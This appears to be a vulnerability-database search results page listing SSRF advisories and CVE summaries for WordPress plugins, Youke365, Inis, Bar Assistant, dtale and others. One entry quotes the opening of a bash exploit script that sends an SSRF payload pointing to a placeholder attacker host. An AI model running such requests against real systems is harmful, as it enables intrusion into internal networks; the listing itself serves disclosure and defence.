13434 matches found
Security Bulletin: IBM Maximo Asset Management is vulnerable to attack due to Eclipse Jetty ( IBM X-Force ID 261776)
Summary IBM Maximo Asset Management is vulnerable to attack due to Eclipse Jetty IBM X-Force ID 261776 Vulnerability Details IBM X-Force ID: 261776 DESCRIPTION: Eclipse Jetty is vulnerable to server-side request forgery, caused by improper handling of XML external entity XXE declarations by the...
CVE-2023-6991
The JSM filegetcontents Shortcode WordPress plugin before 2.7.1 does not validate one of its shortcode's parameters before making a request to it, which could allow users with contributor role and above to perform SSRF attacks...
Server side request forgery (ssrf)
The JSM filegetcontents Shortcode WordPress plugin before 2.7.1 does not validate one of its shortcode's parameters before making a request to it, which could allow users with contributor role and above to perform SSRF attacks...
CVE-2023-6991
CVE-2023-6991 relates to the WordPress plugin “JSM file_get_contents() Shortcode” (before 2.7.1). The vulnerability arises because one shortcode parameter is not validated before making an outbound request, enabling users with a contributor role or higher to trigger server-side requests (SSRF). A...
CVE-2023-6991 JSM file_get_contents() Shortcode < 2.7.1 - Contributor+ SSRF
The JSM filegetcontents Shortcode WordPress plugin before 2.7.1 does not validate one of its shortcode's parameters before making a request to it, which could allow users with contributor role and above to perform SSRF attacks...
CVE-2023-6991 JSM file_get_contents() Shortcode < 2.7.1 - Contributor+ SSRF
The JSM filegetcontents Shortcode WordPress plugin before 2.7.1 does not validate one of its shortcode's parameters before making a request to it, which could allow users with contributor role and above to perform SSRF attacks...
HaoKeKeJi YiQiNiu Server Side Request Forgery Vulnerability
!/bin/bash Set target URL and payload targeturl="http://example.com/application/pay/controller/Api.php" payload="url=http://evil-server.com/exploit" Send the malicious request response=$curl -s -X POST -d "$payload" "$targeturl" Check if the exploit was successful if echo "$response" | grep -q...
CVE-2023-49471
Blind Server-Side Request Forgery SSRF vulnerability in karlomikus Bar Assistant before version 3.2.0 does not validate a parameter before making a request through Image::make, which could allow authenticated remote attackers to execute arbitrary code...
CVE-2023-49471
Blind Server-Side Request Forgery SSRF vulnerability in karlomikus Bar Assistant before version 3.2.0 does not validate a parameter before making a request through Image::make, which could allow authenticated remote attackers to execute arbitrary code...
CVE-2023-49471
CVE-2023-49471 is a Blind SSRF in the karlomikus Bar Assistant prior to version 3.2.0. The issue arises because a parameter is not validated before making a request via Image::make(), potentially allowing authenticated remote attackers to execute arbitrary code. Affected software/version: karlomi...
GLSA-202401-11 : Apache Batik: Multiple Vulnerabilities
The remote host is affected by the vulnerability described in GLSA-202401-11 Apache Batik: Multiple Vulnerabilities - In Apache Batik 1.x before 1.10, when deserializing subclass of AbstractDocument, the class takes a string from the inputStream as the class name which then use it to call the...
CVE-2024-0308
A vulnerability was found in Inis up to 2.0.1. It has been rated as critical. This issue affects some unknown processing of the file app/api/controller/default/Proxy.php. The manipulation of the argument purl leads to server-side request forgery. The attack may be initiated remotely. The exploit...
CVE-2024-0304
A vulnerability has been found in Youke365 up to 1.5.3 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /app/api/controller/collect.php. The manipulation of the argument url leads to server-side request forgery. The attack can be launched remotely...
Server side request forgery (ssrf)
A vulnerability has been found in Youke365 up to 1.5.3 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /app/api/controller/collect.php. The manipulation of the argument url leads to server-side request forgery. The attack can be launched remotely...
CVE-2024-0304
CVE-2024-0304 affects Youke365 up to version 1.5.3. Affected component: the code path handling the file /app/api/controller/collect.php, where manipulation of the url parameter enables a server-side request forgery (SSRF). The vulnerability can be exploited remotely and the exploit has been publi...
CVE-2024-0304 Youke365 collect.php server-side request forgery
A vulnerability has been found in Youke365 up to 1.5.3 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /app/api/controller/collect.php. The manipulation of the argument url leads to server-side request forgery. The attack can be launched remotely...
CVE-2024-0303
CVE-2024-0303 affects Youke365 up to 1.5.3, with a vulnerability in /app/api/controller/caiji.php (Parameter Handler) where manipulating the url parameter enables server-side request forgery (SSRF). Reports indicate remote exploitation and public disclosure. Connected sources corroborate SSRF in ...
Server Side Request Forgery (SSRF)
dtale is vulnerable to Server Side Request Forgery. The vulnerability is due to the Load From the Web configuration being enabled by default. This issue can be exploited by an attacker to access files on the local network resulting in Server Side Request Forgery...
WordPress Contact Form 7 Extension For Mailchimp Plugin <= 0.5.70 is vulnerable to Server Side Request Forgery (SSRF)
Software Contact Form 7 Extension For Mailchimp Type Plugin Vulnerable versions = 0.5.70 Fixed in N/A OWASP Top 10 A10: Server-Side Request Forgery SSRF Classification Server Side Request Forgery SSRF CVE CVE-2024-22134 Patch priority Low CVSS severity Low 4.9 Developer Claim ownership PSID...
